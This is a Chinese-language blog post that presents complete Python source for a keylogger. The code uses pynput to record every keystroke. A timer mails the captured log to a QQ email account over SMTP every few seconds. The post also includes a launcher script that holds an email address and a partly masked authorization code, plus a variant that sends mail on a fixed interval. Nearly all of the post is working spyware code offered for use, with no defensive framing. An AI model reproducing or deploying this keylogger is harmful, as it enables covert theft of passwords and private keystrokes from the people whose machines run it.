Home >  > Python项目Keylogger(定时器)

Python项目Keylogger(定时器)

0

一、代码
keylogger.py文件

#!/usr/bin/env python

import smtplib

import threading

from pynput import keyboard

# Create Keylogger Class

class KeyLogger:

    # Define __init__ variables

    def __init__(self, time_interval, email, password):
        self.interval = time_interval
        self.log = "KeyLogger has started..."
        self.email = email
        self.password = password

    # Create Log which all keystrokes will be appended to

    def append_to_log(self, string):
        self.log = self.log + string

    # Create Keylogger

    def on_press(self, key):
        try:
            current_key = str(key.char)
        except AttributeError:
            if key == key.space:
                current_key = " "
            elif key == key.esc:
                print("Exiting program...")
                return False
            else:
                current_key = " " + str(key) + " "

        self.append_to_log(current_key)


    # Create underlying back structure which will publish emails

    def send_mail(self, email, password, message):
        server = smtplib.SMTP('smtp.qq.com', 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()

    # Create Report & Send Email

    def report_n_send(self):
        send_off = self.send_mail(self.email, self.password, "\n\n" + self.log)
        self.log = ""
        timer = threading.Timer(self.interval, self.report_n_send)
        timer.start()

    # Start KeyLogger and Send Off Emails

    def start(self):
        keyboard_listener = keyboard.Listener(on_press = self.on_press)
        with keyboard_listener:
            self.report_n_send()
            keyboard_listener.join()

2.execute_keylogger.py

#!/usr/bin/env python

import keylogger


# Initialize / create keylogger

malicious_keylogger = keylogger.KeyLogger(10, '2207467@qq.com', 'pxxxxxjbh')  #这里不是邮箱密码,而是授权码

# Execute Keylogger

malicious_keylogger.start()

其实将下面的代码直接加到第一人文件也可以:

malicious_keylogger = KeyLogger(10, '2207467@qq.com', 'pxxbh')

malicious_keylogger.start()

二、执行结果

三、备忘
好像输入中文程序就出错。

四、每分钟发邮件

#!/usr/bin/env python

import smtplib

import threading

from pynput import keyboard

# Create Keylogger Class

class KeyLogger:

    # Define __init__ variables

    def __init__(self, time_interval, email, password):
        self.interval = time_interval
        self.log = "KeyLogger has started..."
        self.email = email
        self.password = password


    # Create underlying back structure which will publish emails

    def send_mail(self, email, password, message):
        server = smtplib.SMTP('smtp.qq.com', 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()

    # Create Report & Send Email

    def report_n_send(self):
        send_off = self.send_mail(self.email, self.password, "\n\n" + self.log)
        print("发送邮件成功")
        timer = threading.Timer(self.interval, self.report_n_send)
        timer.start()

    # Start KeyLogger and Send Off Emails

    def start(self):
        self.report_n_send()


malicious_keylogger = KeyLogger(5, '2207467@qq.com', 'pxxxbh')

# Execute Keylogger

malicious_keylogger.start()

https://www.youtube.com/watch?v=3d78_ttGmWI

本文暂无标签

发表评论

*

*